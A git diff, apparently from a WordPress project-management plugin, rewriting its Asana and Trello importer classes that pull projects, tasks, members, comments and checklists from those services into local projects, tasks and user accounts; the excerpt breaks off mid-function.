$boardid, - 'board_type' => "task_list", - 'boardable_id' => $__sub_task->id, - 'boardable_type' => "sub_task", - 'order' => "1", - 'created_by' => get_current_user_id(), - 'updated_by' => get_current_user_id(), - ); - Boardable::create($projectable); - - if (is_array($task->followers)) { - $this->migrateTaskFollowers($task->followers, $pm_project_id, $__sub_task->id); - } - } - - } - } - } - - - - public function convertRole($role){ - if($role == 'admin'){ - return '1'; - } else { - return '2'; - } - } - - public function makeFakeEmail($name){ - $email = ''; - $mailuser = str_replace(' ', '', $name); - $mailuser = preg_replace('/[^A-Za-z0-9\-]/', '', $mailuser); - $hostname = str_replace('http', '',get_site_url()); - $hostname = str_replace('://', '',$hostname); - echo $hostname; - if (strpos($hostname, ".")) { - $email = 'asana_'.$mailuser.'@'.$hostname; - } else { - $email = 'asana_'.$mailuser.'@'.$hostname.'.com'; - } - $email = sanitize_email( $email ); - return $email; - } - - public function makeBoardable($asana_section_type, $pm_task_id){ -// $board_id = $this->sections['index']; - error_log('index : '.$asana_section_type); - error_log(print_r($this->sections, TRUE)); - $board_id = $this->sections[$asana_section_type]; - $boardable = new Boardable(); - $boardable->board_id = $board_id; - $boardable->board_type = "task_list"; - $boardable->boardable_id = $pm_task_id; - $boardable->boardable_type = "task"; - $boardable->order = 1; - $boardable->created_by = get_current_user_id(); - $boardable->updated_by = get_current_user_id(); - $boardable->save(); - return $board_id; - } - - public function sectionType($section){ - if(is_null($section)){ - return "inbox"; - } else { - return $section->gid; - } - } - -} +credentials = pm_get_setting('asana_credentials'); + if(!$this->credentials){ + pm_set_settings('asana_credentials', array('token' => '')); + } else { + if(array_key_exists('token', $this->credentials)) { + if(!empty($this->credentials['token'])){ + $this->asana = new PM_Asana([ + 'personalAccessToken' => base64_decode($this->credentials['token']) + ]); + } + } + $this->imported = get_option('imported_from_asana'); + $this->importing = get_option('importing_from_asana'); + if(!$this->imported){ + add_option('imported_from_asana', array()); + } + if(!$this->importing){ + add_option('importing_from_asana', array()); + } + } + } + + /** + * Task + * + * Override this method to perform any actions required on each + * queue item. Return the modified item for further processing + * in the next pass through. Or, return false to remove the + * item from the queue. + * + * @param mixed $item Queue item to iterate over + * + * @return mixed + */ + protected function task( $item ) { + // Actions to perform + if(!in_array($item, $this->imported)) { + $this->fetchAndSaveasana($item); + array_push($this->imported, $item); + if (($key = array_search($item, $this->importing)) !== false) { + unset($this->importing[$key]); + update_option('importing_from_asana', $this->importing); + } + update_option('imported_from_asana', $this->imported); + } + return false; + } + + /** + * Complete + * + * Override if applicable, but ensure that the below actions are + * performed, or, call parent::complete(). + */ + protected function complete() { + parent::complete(); + + // Show notice to user or perform some other arbitrary task... + } + + /** + * Handle cron healthcheck + * + * Restart the background process if not already running + * and data exists in the queue. + */ + public function handle_cron_healthcheck() { + if ( $this->is_process_running() ) { + // Background process already running. + return; + } + + if ( $this->is_queue_empty() ) { + // No data to process. + $this->clear_scheduled_event(); + return; + } + + $this->handle(); + } + + /** + * takes asana project id and fetch all projects + * from API + * @param $project_id + */ + + public function fetchAndSaveasana($project_id) { + + $project_data = $this->asana->getAsana('projects/'.$project_id); + if(isset($project_data->data)){ + $project = $project_data->data; + error_log(print_r($project, true)); +// $hasProject = Project::where('title', '=', trim($project->name))->get(); +// if(isset($hasProject->title)) { + $project_members = $project->members; + // asana project to cpm project + $pm_project = new Project(); + $pm_project->title = $project->name; + $pm_project->description = $project->notes; + $pm_project->status = $project->archived; + $pm_project->budget = null; + $pm_project->pay_rate = null; + $pm_project->est_completion_date = null; + $pm_project->color_code = null; + $pm_project->order = null; + $pm_project->projectable_type = null; + $pm_project->completed_at = null; + $pm_project->created_by = get_current_user_id(); + $pm_project->updated_by = get_current_user_id(); + $pm_project->save(); + + //migrating members to user + $this->migrateprojectsMembers($project_members, $pm_project->id); + // asana lists to cpm projects + $this->fetchAndSaveLists($project_id, $pm_project->id); + + error_log($pm_project->name); +// } + } + + } + + /** + * converting asana lists to cpm projects + * fetching all lists from asana API against its project + * asana lists to cpm projects + * @param $project_id + * @param $pm_project_id + */ + + public function fetchAndSaveLists( $project_id, $pm_project_id ){ + + $pm_board = new Board(); + $pm_board->title = "inbox"; + $pm_board->description = ""; + $pm_board->order = "1"; + $pm_board->type = "task_list"; + $pm_board->status = 1;//$list['closed']; + $pm_board->project_id = $pm_project_id; + $pm_board->created_by = get_current_user_id(); + $pm_board->updated_by = get_current_user_id(); + $pm_board->save(); + $this->sections['inbox'] = $pm_board->id; + + $asana_sections_data = $this->asana->getAsana('projects/'.$project_id.'/sections'); + if(isset($asana_sections_data->data)) { + foreach ($asana_sections_data->data as $section) { + $pm_board_pre = new Board(); + $pm_board_pre->title = $section->name; + $pm_board_pre->description = ""; + $pm_board_pre->order = "1"; + $pm_board_pre->type = "task_list"; + $pm_board_pre->status = 1;//$list['closed']; + $pm_board_pre->project_id = $pm_project_id; + $pm_board_pre->created_by = get_current_user_id(); + $pm_board_pre->updated_by = get_current_user_id(); + $pm_board_pre->save(); + $this->sections[$section->gid] = $pm_board_pre->id; + } + + $this->fetchAndSaveTasks($project_id, $pm_project_id); + } + + } + + /** + * Converting asana cards to pm tasks + * @param $list_id + * @param $pm_project_id + */ + public function fetchAndSaveTasks($asana_project_id, $pm_project_id){ + $task_data = $this->asana->getAsana('projects/'.$asana_project_id.'/tasks'); + $tasks = $task_data->data; + if (is_array($tasks)) { + if (count($tasks) > 0) { + foreach ($tasks as $task_minimal) { + $task_d = $this->asana->getAsana('tasks/'.$task_minimal->gid); + sleep(3); + error_log('task imported : '.print_r($task_d, true)); + if(isset($task_d->data)){ + $task = $task_d->data; + if($task->resource_subtype == "default_task") { + $pm_taks = new Task(); + $pm_taks->title = $task->name; + $pm_taks->description = $task->notes; + $pm_taks->estimation = 0; + $pm_taks->start_at = $task->start_on; + $pm_taks->due_date = $task->due_on; + $pm_taks->complexity = 0; + $pm_taks->priority = 1; + $pm_taks->payable = null; + $pm_taks->recurrent = NULL; + $pm_taks->status = 0; + $pm_taks->project_id = $pm_project_id; + $pm_taks->completed_by = null; + $pm_taks->completed_at = null; + $pm_taks->parent_id = 0; + $pm_taks->created_by = get_current_user_id(); + $pm_taks->updated_by = get_current_user_id(); + $pm_taks->save(); + + $boardid = $this->makeBoardable( + $this->sectionType($task->memberships[0]->section), + $pm_taks->id + ); + + if (is_array($task->followers)) { + $this->migrateTaskFollowers($task->followers, $pm_project_id, $pm_taks->id); + } + $subtasks = $this->asana->getAsana('tasks/'.$task->id.'/subtasks'); + sleep(3); + error_log('subtask imported : '.print_r($subtasks, true)); + //migrating checklists to sub_task + if (is_array($subtasks->data)) { + $this->migrateSubTasks($subtasks->data, $boardid, $pm_project_id, $pm_taks->id); + } + + $task_stories = $this->asana->getAsana('tasks/'.$task->gid.'/stories'); + sleep(3); + error_log('subtask detailed to import : '.print_r($subtasks, true)); + //migrating comments to discussion + if (is_array($task_stories->data)) { + $this->migrateTaskStories($task_stories->data, $pm_project_id, $pm_taks->id); + } + + } + } + + } + } + } + } + + /** + * @param $username + * @param $email + * @return int|\WP_Error + */ + public function getOrCreateUserId($username, $email){ + $email = sanitize_email( $email ); +// error_log('entered create user email : '.$email); +// $hasUser = get_user_by( 'email', $email); + + $username_exists = username_exists( $username ); + $email_exists = email_exists( $email ); + + if( ! $email_exists && ! $username_exists ){ + $newUser = wp_create_user( strtolower($username), wp_generate_password(10), $email); + +// wp_send_new_user_notifications($newUser); + return $newUser; + + } else if ( $username_exists ) { + return $username_exists; + } else { + return $email_exists; + } + } + + /** + * migrating asana project members to cpm project user + * @param $members + * @param $project_id + */ + + public function migrateprojectsMembers($asana_project_members,$pm_project_id){ + error_log('entered project Members'); + error_log(print_r($asana_project_members, true)); + foreach ($asana_project_members as $member){ + $user_id = null; + $user_role = array(); + $user_data = $this->asana->getAsana('users/'.$member->id); + sleep(3); + if(isset($user_data->data)){ + $credentials = $user_data->data; + if($credentials->email){ + $email = sanitize_email( $credentials->email ); + error_log($email); + $user_id = $this->getOrCreateUserId($credentials->name, $email); + } else { + $user_id = $this->getOrCreateUserId($credentials->name,$this->makeFakeEmail($credentials->name)); + } + + if($user_id !== null){ + $user_role = array( + 'user_id' => $user_id, + 'role_id' => '2', //$this->convertRole($member['memberType']), + 'project_id' => $pm_project_id, + 'assigned_by' => '0', + ); + User_Role::create($user_role); + } + } + } + } + + /** + * @param $asana_task_follower + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateTaskFollowers($asana_task_follower, $pm_project_id, $pm_task_id){ + error_log('entered Card Members'); + if(count($asana_task_follower) > 0) { + foreach ($asana_task_follower as $member) { + $user_id = null; + $assignee = array(); + $credentials = $this->asana->getAsana('users/'.$member->id); + sleep(5); + if(isset($credentials->data)) { + if ($credentials->data->email) { + $user_id = $this->getOrCreateUserId($credentials->data->name, $credentials->data->email); + } else { + $user_id = $this->getOrCreateUserId($credentials->data->name, $this->makeFakeEmail($credentials->data->name)); + } + + if ($user_id !== null) { + $assignee = array( + 'task_id' => $pm_task_id, + 'assigned_to' => $user_id, + 'status' => '0', + 'project_id' => $pm_project_id + ); + Assignee::create($assignee); + } + } + } + } + + } + + /** + * @param $asana_card_Comments + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateTaskStories($task_stories, $pm_project_id, $pm_task_id){ + error_log('entered Tasks Comments'); + + foreach ($task_stories as $comment) { + if($comment->type == "comment") { + $credentials = $this->asana->getAsana('users/'.$comment->created_by->gid); + sleep(5); + if(isset($credentials->data)) { + $user_id = $this->getOrCreateUserId( + $credentials->data->name, + $credentials->data->email + ); + global $wpdb; + $com_id = $wpdb->insert($wpdb->prefix . 'pm_comments', array( + 'content' => $comment->text, + 'mentioned_users' => null, + 'commentable_id' => $pm_task_id, + 'commentable_type' => 'task', + 'project_id' => $pm_project_id, + 'created_by' => $user_id, + 'updated_by' => $user_id + )); + error_log('comment_id : ' . $com_id); + } + + } + } + + + } + + /** + * @param $asana_card_Checklists + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateSubTasks($asanaSubTasks, $boardid, $pm_project_id, $pm_task_id){ + error_log('entered Sub Task'); + if(count($asanaSubTasks) > 0) { + foreach ($asanaSubTasks as $a_subtask) { + $task_d = $this->asana->getAsana('tasks/'.$a_subtask->gid); + sleep(3); + if(isset($task_d->data)) { + $task = $task_d->data; + $subtask = array( + 'title' => $task->name, + 'description' => $task->notes, + 'estimation' => "0", + 'start_at' => $task->start_on, + 'due_date' => $task->due_on, + 'complexity' => 0, + 'priority' => 1, + 'payable' => 0, + 'recurrent' => 9, + 'status' => 0, + 'project_id' => $pm_project_id, + 'completed_by' => null, + 'completed_at' => null, + 'parent_id' => $pm_task_id, + 'created_by' => get_current_user_id(), + 'updated_by' => get_current_user_id() + ); + $__sub_task = Task::create($subtask); + + $projectable = array( + 'board_id' => $boardid, + 'board_type' => "task_list", + 'boardable_id' => $__sub_task->id, + 'boardable_type' => "sub_task", + 'order' => "1", + 'created_by' => get_current_user_id(), + 'updated_by' => get_current_user_id(), + ); + Boardable::create($projectable); + + if (is_array($task->followers)) { + $this->migrateTaskFollowers($task->followers, $pm_project_id, $__sub_task->id); + } + } + + } + } + } + + + + public function convertRole($role){ + if($role == 'admin'){ + return '1'; + } else { + return '2'; + } + } + + public function makeFakeEmail($name){ + $email = ''; + $mailuser = str_replace(' ', '', $name); + $mailuser = preg_replace('/[^A-Za-z0-9\-]/', '', $mailuser); + $hostname = str_replace('http', '',get_site_url()); + $hostname = str_replace('://', '',$hostname); + echo $hostname; + if (strpos($hostname, ".")) { + $email = 'asana_'.$mailuser.'@'.$hostname; + } else { + $email = 'asana_'.$mailuser.'@'.$hostname.'.com'; + } + $email = sanitize_email( $email ); + return $email; + } + + public function makeBoardable($asana_section_type, $pm_task_id){ +// $board_id = $this->sections['index']; + error_log('index : '.$asana_section_type); + error_log(print_r($this->sections, TRUE)); + $board_id = $this->sections[$asana_section_type]; + $boardable = new Boardable(); + $boardable->board_id = $board_id; + $boardable->board_type = "task_list"; + $boardable->boardable_id = $pm_task_id; + $boardable->boardable_type = "task"; + $boardable->order = 1; + $boardable->created_by = get_current_user_id(); + $boardable->updated_by = get_current_user_id(); + $boardable->save(); + return $board_id; + } + + public function sectionType($section){ + if(is_null($section)){ + return "inbox"; + } else { + return $section->gid; + } + } + +} diff --git a/src/Tools/Helpers/ImportTrello.php b/src/Tools/Helpers/ImportTrello.php index c4f6ec94f..a06657572 100644 --- a/src/Tools/Helpers/ImportTrello.php +++ b/src/Tools/Helpers/ImportTrello.php @@ -1,454 +1,454 @@ -credentials = pm_get_setting('trello_credentials'); - if(!$this->credentials){ - pm_set_settings('trello_credentials', array('api_key' => '', 'token' => '')); - } else { - if(array_key_exists('api_key', $this->credentials)) { - $this->trello = new PM_Trello($this->credentials['api_key'], $this->credentials['token']); - } - $this->imported = get_option('imported_from_trello'); - $this->importing = get_option('importing_from_trello'); - if(!$this->imported){ - add_option('imported_from_trello', array()); - } - if(!$this->importing){ - add_option('importing_from_trello', array()); - } - } - } - - /** - * Task - * - * Override this method to perform any actions required on each - * queue item. Return the modified item for further processing - * in the next pass through. Or, return false to remove the - * item from the queue. - * - * @param mixed $item Queue item to iterate over - * - * @return mixed - */ - protected function task( $item ) { - // Actions to perform - if(!in_array($item, $this->imported)) { - $this->fetchAndSaveTrello($item); - array_push($this->imported, $item); - if (in_array($item, $this->importing)) { - $key = array_search($item, $this->importing); - unset($this->importing[$key]); - update_option('importing_from_trello', $this->importing); - } - update_option('imported_from_trello', $this->imported); - } - return false; - } - - /** - * Complete - * - * Override if applicable, but ensure that the below actions are - * performed, or, call parent::complete(). - */ - protected function complete() { - parent::complete(); - - // Show notice to user or perform some other arbitrary task... - } - - /** - * Handle cron healthcheck - * - * Restart the background process if not already running - * and data exists in the queue. - */ - public function handle_cron_healthcheck() { - if ( $this->is_process_running() ) { - // Background process already running. - return; - } - - if ( $this->is_queue_empty() ) { - // No data to process. - $this->clear_scheduled_event(); - return; - } - - $this->handle(); - } - - /** - * takes trello board id and fetch all boards - * from API - * @param $board_id - */ - - public function fetchAndSaveTrello($board_id) { - - $board = $this->trello->getBoard($board_id); - $board_members = $this->trello->getBoardMemberships($board_id); - // trello board to cpm project - $pm_project = new Project(); - $pm_project->title = $board['name']; - $pm_project->description = $board['desc']; - $pm_project->status = $board['closed']; - $pm_project->budget = null; - $pm_project->pay_rate = null; - $pm_project->est_completion_date = null; - $pm_project->color_code = null; - $pm_project->order = null; - $pm_project->projectable_type = null; - $pm_project->completed_at = null; - $pm_project->created_by = get_current_user_id(); - $pm_project->updated_by = get_current_user_id(); - $pm_project->save(); - - //migrating members to user - $this->migrateBoardsMembers($board_members, $pm_project->id); - // trello lists to cpm boards - $this->fetchAndSaveLists($board_id,$pm_project->id); - - error_log($board['name']); - - } - - /** - * converting trello lists to cpm boards - * fetching all lists from trello API against its board - * trello lists to cpm boards - * @param $board_id - * @param $pm_project_id - */ - - public function fetchAndSaveLists( $board_id, $pm_project_id ){ - $lists = $this->trello->getLists( $board_id ); - - $lists = $this->repairStringArray($lists); - - foreach ( $lists as $list ) { - $pm_board = new Board(); - $pm_board->title = $list['name']; - $pm_board->description = ""; - $pm_board->order = $list['pos']; - $pm_board->type = "task_list"; - $pm_board->status = 1;//$list['closed']; - $pm_board->project_id = $pm_project_id; - $pm_board->created_by = get_current_user_id(); - $pm_board->updated_by = get_current_user_id(); - $pm_board->save(); - - // trello Cards to cpm Tasks - $this->fetchAndSaveCards($list['id'], $pm_board->id, $pm_project_id); - } - - - } - - /** - * Converting trello cards to pm tasks - * @param $list_id - * @param $pm_board_id - */ - public function fetchAndSaveCards($trello_list_id, $pm_board_id, $pm_preject_id){ - $cards = $this->trello->getCards($trello_list_id); - if (is_array($cards)) { - if (count($cards) > 0) { - foreach ($cards as $card) { - $pm_taks = new Task(); - $pm_taks->title = $card['name']; - $pm_taks->description = $card['desc']; - $pm_taks->estimation = 0; - $pm_taks->start_at = null; - $pm_taks->due_date = $card['due']; - $pm_taks->complexity = 0; - $pm_taks->priority = 1; - $pm_taks->payable = $card['due']; - $pm_taks->recurrent = $card['due']; - $pm_taks->status = $card['closed']; - $pm_taks->project_id = $pm_preject_id; - $pm_taks->completed_by = null; - $pm_taks->completed_at = null; - $pm_taks->parent_id = 0; - $pm_taks->created_by = get_current_user_id(); - $pm_taks->updated_by = get_current_user_id(); - $pm_taks->save(); - - $boardable = new Boardable(); - $boardable->board_id = $pm_board_id; - $boardable->board_type = "task_list"; - $boardable->boardable_id = $pm_taks->id; - $boardable->boardable_type = "task"; - $boardable->order = 1; - $boardable->created_by = get_current_user_id(); - $boardable->updated_by = get_current_user_id(); - $boardable->save(); - - $card_members = $this->trello->getCardMembers($card['id']); - $card_actions = $this->trello->getCardActions($card['id']); - $card_checklists = $this->trello->getCardChecklists($card['id']); - - //migrating members to user - if (is_array($card_members)) { - $this->migrateCardMembers($card_members, $pm_preject_id, $pm_taks->id); - } - - //migrating comments to discussion - if (is_array($card_actions)) { - $this->migrateCommentCards($card_actions, $pm_preject_id, $pm_taks->id); - } - - //migrating checklists to sub_task - if (is_array($card_checklists)) { - $this->migrateCardChecklists($card_checklists, $pm_board_id, $pm_preject_id, $pm_taks->id); - } - } - } - } - } - - /** - * @param $username - * @param $email - * @return int|\WP_Error - */ - - public function getOrCreateUserId($username, $email){ - $email = sanitize_email( $email ); - - $username_exists = username_exists( $username ); - $email_exists = email_exists( $email ); - - if( ! $email_exists && ! $username_exists ){ - $newUser = wp_create_user( strtolower($username), wp_generate_password(10), $email); - return $newUser; - - } else if ( $username_exists ) { - return $username_exists; - } else { - return $email_exists; - } - } - - /** - * migrating trello board members to cpm project user - * @param $members - * @param $board_id - */ - - public function migrateBoardsMembers($trello_board_members,$pm_project_id){ - $trello_board_members = $this->repairStringArray($trello_board_members); - foreach ($trello_board_members as $member){ - $user_id = null; - $user_role = array(); - $credentials = $this->trello->getMemberInfo($member['idMember']); - if($credentials['email']){ - $user_id = $this->getOrCreateUserId($credentials['username'],$credentials['email']); - } else { - $user_id = $this->getOrCreateUserId($credentials['username'],$this->makeFakeEmail($credentials['username'])); - } - - if($user_id !== null){ - $user_role = array( - 'user_id' => $user_id, - 'role_id' => $this->convertRole($member['memberType']), - 'project_id' => $pm_project_id, - 'assigned_by' => '0', - ); - User_Role::create($user_role); - } - } - } - - /** - * @param $trello_card_members - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateCardMembers($trello_card_members, $pm_project_id, $pm_task_id){ - $trello_card_members = $this->repairStringArray($trello_card_members); - if(count($trello_card_members) > 0) { - foreach ($trello_card_members as $member) { - $user_id = null; - $assignee = array(); - $credentials = $this->trello->getMemberInfo($member['id']); - if ($credentials['email']) { - $user_id = $this->getOrCreateUserId($credentials['username'], $credentials['email']); - } else { - $user_id = $this->getOrCreateUserId($credentials['username'], $this->makeFakeEmail($credentials['username'])); - } - - if($user_id !== null){ - $assignee = array( - 'task_id' => $pm_task_id, - 'assigned_to' => $user_id, - 'status' => '0', - 'project_id' => $pm_project_id - ); - Assignee::create($assignee); - } - } - } - - } - - /** - * @param $trello_card_Comments - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateCommentCards($trello_card_Comments, $pm_project_id, $pm_task_id){ - $trello_card_Comments = $this->repairStringArray($trello_card_Comments); - if(count($trello_card_Comments) > 0) { - foreach ($trello_card_Comments as $comment) { - $user_id = null; - $comments = array(); - $user_id = $this->getOrCreateUserId( - $comment['memberCreator']['username'], - $this->makeFakeEmail($comment['memberCreator']['username']) - ); - - if($user_id !== null && $comment['type'] == 'commentCard'){ - $textComment = array( - 'content' => $comment['data']['text'], - 'mentioned_users' => null, - 'commentable_id' => $pm_task_id, - 'commentable_type' => 'task', - 'project_id' => $pm_project_id - ); - Comment::create($textComment); - } - } - } - - } - - /** - * @param $trello_card_Checklists - * @param $pm_project_id - * @param $pm_task_id - */ - public function migrateCardChecklists($trello_card_Checklists,$pm_board_id, $pm_project_id, $pm_task_id){ - if(count($trello_card_Checklists) > 0) { - foreach ($trello_card_Checklists as $checklist) { - $list_item = $checklist['checkItems']; - if(count($list_item) > 0) { - foreach ($list_item as $item){ - - $subtask = array( - 'title' => $item['name'], - 'description' => "", - 'estimation' => "0", - 'start_at' => null, - 'due_date' => null, - 'complexity' => 0, - 'priority' => 1, - 'payable' => 0, - 'recurrent' => 9, - 'status' => $item['state'] == 'incomplete'? '0' : '1' , - 'project_id' => $pm_project_id, - 'completed_by' => null, - 'completed_at' => null, - 'parent_id' => $pm_task_id, - 'created_by' => get_current_user_id(), - 'updated_by' => get_current_user_id() - ); - $__sub_task =Task::create($subtask); - - $boardable = array( - 'board_id' => $pm_board_id, - 'board_type' => "task_list", - 'boardable_id' => $__sub_task->id, - 'boardable_type' => "sub_task", - 'order' => "1", - 'created_by' => get_current_user_id(), - 'updated_by' => get_current_user_id(), - ); - Boardable::create($boardable); - } - } - } - } - - } - - public function convertRole($role){ - if($role == 'admin'){ - return '1'; - } else { - return '2'; - } - } - - public function makeFakeEmail($name){ - $email = ''; - $mailuser = str_replace(' ', '', $name); - $mailuser = preg_replace('/[^A-Za-z0-9\-]/', '', $mailuser); - $hostname = str_replace('http', '',get_site_url()); - $hostname = str_replace('://', '',$hostname); - echo $hostname; - if (strpos($hostname, ".")) { - $email = 'trello_'.$mailuser.'@'.$hostname; - } else { - $email = 'trello_'.$mailuser.'@'.$hostname.'.com'; - } - $email = sanitize_email( $email ); - return $email; - } - - public function repairStringArray($stringArray){ - if(is_string ($stringArray)){ - return json_decode($stringArray, true); - } else { - return $stringArray; - } - } - -} - +credentials = pm_get_setting('trello_credentials'); + if(!$this->credentials){ + pm_set_settings('trello_credentials', array('api_key' => '', 'token' => '')); + } else { + if(array_key_exists('api_key', $this->credentials)) { + $this->trello = new PM_Trello($this->credentials['api_key'], $this->credentials['token']); + } + $this->imported = get_option('imported_from_trello'); + $this->importing = get_option('importing_from_trello'); + if(!$this->imported){ + add_option('imported_from_trello', array()); + } + if(!$this->importing){ + add_option('importing_from_trello', array()); + } + } + } + + /** + * Task + * + * Override this method to perform any actions required on each + * queue item. Return the modified item for further processing + * in the next pass through. Or, return false to remove the + * item from the queue. + * + * @param mixed $item Queue item to iterate over + * + * @return mixed + */ + protected function task( $item ) { + // Actions to perform + if(!in_array($item, $this->imported)) { + $this->fetchAndSaveTrello($item); + array_push($this->imported, $item); + if (in_array($item, $this->importing)) { + $key = array_search($item, $this->importing); + unset($this->importing[$key]); + update_option('importing_from_trello', $this->importing); + } + update_option('imported_from_trello', $this->imported); + } + return false; + } + + /** + * Complete + * + * Override if applicable, but ensure that the below actions are + * performed, or, call parent::complete(). + */ + protected function complete() { + parent::complete(); + + // Show notice to user or perform some other arbitrary task... + } + + /** + * Handle cron healthcheck + * + * Restart the background process if not already running + * and data exists in the queue. + */ + public function handle_cron_healthcheck() { + if ( $this->is_process_running() ) { + // Background process already running. + return; + } + + if ( $this->is_queue_empty() ) { + // No data to process. + $this->clear_scheduled_event(); + return; + } + + $this->handle(); + } + + /** + * takes trello board id and fetch all boards + * from API + * @param $board_id + */ + + public function fetchAndSaveTrello($board_id) { + + $board = $this->trello->getBoard($board_id); + $board_members = $this->trello->getBoardMemberships($board_id); + // trello board to cpm project + $pm_project = new Project(); + $pm_project->title = $board['name']; + $pm_project->description = $board['desc']; + $pm_project->status = $board['closed']; + $pm_project->budget = null; + $pm_project->pay_rate = null; + $pm_project->est_completion_date = null; + $pm_project->color_code = null; + $pm_project->order = null; + $pm_project->projectable_type = null; + $pm_project->completed_at = null; + $pm_project->created_by = get_current_user_id(); + $pm_project->updated_by = get_current_user_id(); + $pm_project->save(); + + //migrating members to user + $this->migrateBoardsMembers($board_members, $pm_project->id); + // trello lists to cpm boards + $this->fetchAndSaveLists($board_id,$pm_project->id); + + error_log($board['name']); + + } + + /** + * converting trello lists to cpm boards + * fetching all lists from trello API against its board + * trello lists to cpm boards + * @param $board_id + * @param $pm_project_id + */ + + public function fetchAndSaveLists( $board_id, $pm_project_id ){ + $lists = $this->trello->getLists( $board_id ); + + $lists = $this->repairStringArray($lists); + + foreach ( $lists as $list ) { + $pm_board = new Board(); + $pm_board->title = $list['name']; + $pm_board->description = ""; + $pm_board->order = $list['pos']; + $pm_board->type = "task_list"; + $pm_board->status = 1;//$list['closed']; + $pm_board->project_id = $pm_project_id; + $pm_board->created_by = get_current_user_id(); + $pm_board->updated_by = get_current_user_id(); + $pm_board->save(); + + // trello Cards to cpm Tasks + $this->fetchAndSaveCards($list['id'], $pm_board->id, $pm_project_id); + } + + + } + + /** + * Converting trello cards to pm tasks + * @param $list_id + * @param $pm_board_id + */ + public function fetchAndSaveCards($trello_list_id, $pm_board_id, $pm_preject_id){ + $cards = $this->trello->getCards($trello_list_id); + if (is_array($cards)) { + if (count($cards) > 0) { + foreach ($cards as $card) { + $pm_taks = new Task(); + $pm_taks->title = $card['name']; + $pm_taks->description = $card['desc']; + $pm_taks->estimation = 0; + $pm_taks->start_at = null; + $pm_taks->due_date = $card['due']; + $pm_taks->complexity = 0; + $pm_taks->priority = 1; + $pm_taks->payable = $card['due']; + $pm_taks->recurrent = $card['due']; + $pm_taks->status = $card['closed']; + $pm_taks->project_id = $pm_preject_id; + $pm_taks->completed_by = null; + $pm_taks->completed_at = null; + $pm_taks->parent_id = 0; + $pm_taks->created_by = get_current_user_id(); + $pm_taks->updated_by = get_current_user_id(); + $pm_taks->save(); + + $boardable = new Boardable(); + $boardable->board_id = $pm_board_id; + $boardable->board_type = "task_list"; + $boardable->boardable_id = $pm_taks->id; + $boardable->boardable_type = "task"; + $boardable->order = 1; + $boardable->created_by = get_current_user_id(); + $boardable->updated_by = get_current_user_id(); + $boardable->save(); + + $card_members = $this->trello->getCardMembers($card['id']); + $card_actions = $this->trello->getCardActions($card['id']); + $card_checklists = $this->trello->getCardChecklists($card['id']); + + //migrating members to user + if (is_array($card_members)) { + $this->migrateCardMembers($card_members, $pm_preject_id, $pm_taks->id); + } + + //migrating comments to discussion + if (is_array($card_actions)) { + $this->migrateCommentCards($card_actions, $pm_preject_id, $pm_taks->id); + } + + //migrating checklists to sub_task + if (is_array($card_checklists)) { + $this->migrateCardChecklists($card_checklists, $pm_board_id, $pm_preject_id, $pm_taks->id); + } + } + } + } + } + + /** + * @param $username + * @param $email + * @return int|\WP_Error + */ + + public function getOrCreateUserId($username, $email){ + $email = sanitize_email( $email ); + + $username_exists = username_exists( $username ); + $email_exists = email_exists( $email ); + + if( ! $email_exists && ! $username_exists ){ + $newUser = wp_create_user( strtolower($username), wp_generate_password(10), $email); + return $newUser; + + } else if ( $username_exists ) { + return $username_exists; + } else { + return $email_exists; + } + } + + /** + * migrating trello board members to cpm project user + * @param $members + * @param $board_id + */ + + public function migrateBoardsMembers($trello_board_members,$pm_project_id){ + $trello_board_members = $this->repairStringArray($trello_board_members); + foreach ($trello_board_members as $member){ + $user_id = null; + $user_role = array(); + $credentials = $this->trello->getMemberInfo($member['idMember']); + if($credentials['email']){ + $user_id = $this->getOrCreateUserId($credentials['username'],$credentials['email']); + } else { + $user_id = $this->getOrCreateUserId($credentials['username'],$this->makeFakeEmail($credentials['username'])); + } + + if($user_id !== null){ + $user_role = array( + 'user_id' => $user_id, + 'role_id' => $this->convertRole($member['memberType']), + 'project_id' => $pm_project_id, + 'assigned_by' => '0', + ); + User_Role::create($user_role); + } + } + } + + /** + * @param $trello_card_members + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateCardMembers($trello_card_members, $pm_project_id, $pm_task_id){ + $trello_card_members = $this->repairStringArray($trello_card_members); + if(count($trello_card_members) > 0) { + foreach ($trello_card_members as $member) { + $user_id = null; + $assignee = array(); + $credentials = $this->trello->getMemberInfo($member['id']); + if ($credentials['email']) { + $user_id = $this->getOrCreateUserId($credentials['username'], $credentials['email']); + } else { + $user_id = $this->getOrCreateUserId($credentials['username'], $this->makeFakeEmail($credentials['username'])); + } + + if($user_id !== null){ + $assignee = array( + 'task_id' => $pm_task_id, + 'assigned_to' => $user_id, + 'status' => '0', + 'project_id' => $pm_project_id + ); + Assignee::create($assignee); + } + } + } + + } + + /** + * @param $trello_card_Comments + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateCommentCards($trello_card_Comments, $pm_project_id, $pm_task_id){ + $trello_card_Comments = $this->repairStringArray($trello_card_Comments); + if(count($trello_card_Comments) > 0) { + foreach ($trello_card_Comments as $comment) { + $user_id = null; + $comments = array(); + $user_id = $this->getOrCreateUserId( + $comment['memberCreator']['username'], + $this->makeFakeEmail($comment['memberCreator']['username']) + ); + + if($user_id !== null && $comment['type'] == 'commentCard'){ + $textComment = array( + 'content' => $comment['data']['text'], + 'mentioned_users' => null, + 'commentable_id' => $pm_task_id, + 'commentable_type' => 'task', + 'project_id' => $pm_project_id + ); + Comment::create($textComment); + } + } + } + + } + + /** + * @param $trello_card_Checklists + * @param $pm_project_id + * @param $pm_task_id + */ + public function migrateCardChecklists($trello_card_Checklists,$pm_board_id, $pm_project_id, $pm_task_id){ + if(count($trello_card_Checklists) > 0) { + foreach ($trello_card_Checklists as $checklist) { + $list_item = $checklist['checkItems']; + if(count($list_item) > 0) { + foreach ($list_item as $item){ + + $subtask = array( + 'title' => $item['name'], + 'description' => "", + 'estimation' => "0", + 'start_at' => null, + 'due_date' => null, + 'complexity' => 0, + 'priority' => 1, + 'payable' => 0, + 'recurrent' => 9, + 'status' => $item['state'] == 'incomplete'? '0' : '1' , + 'project_id' => $pm_project_id, + 'completed_by' => null, + 'completed_at' => null, + 'parent_id' => $pm_task_id, + 'created_by' => get_current_user_id(), + 'updated_by' => get_current_user_id() + ); + $__sub_task =Task::create($subtask); + + $boardable = array( + 'board_id' => 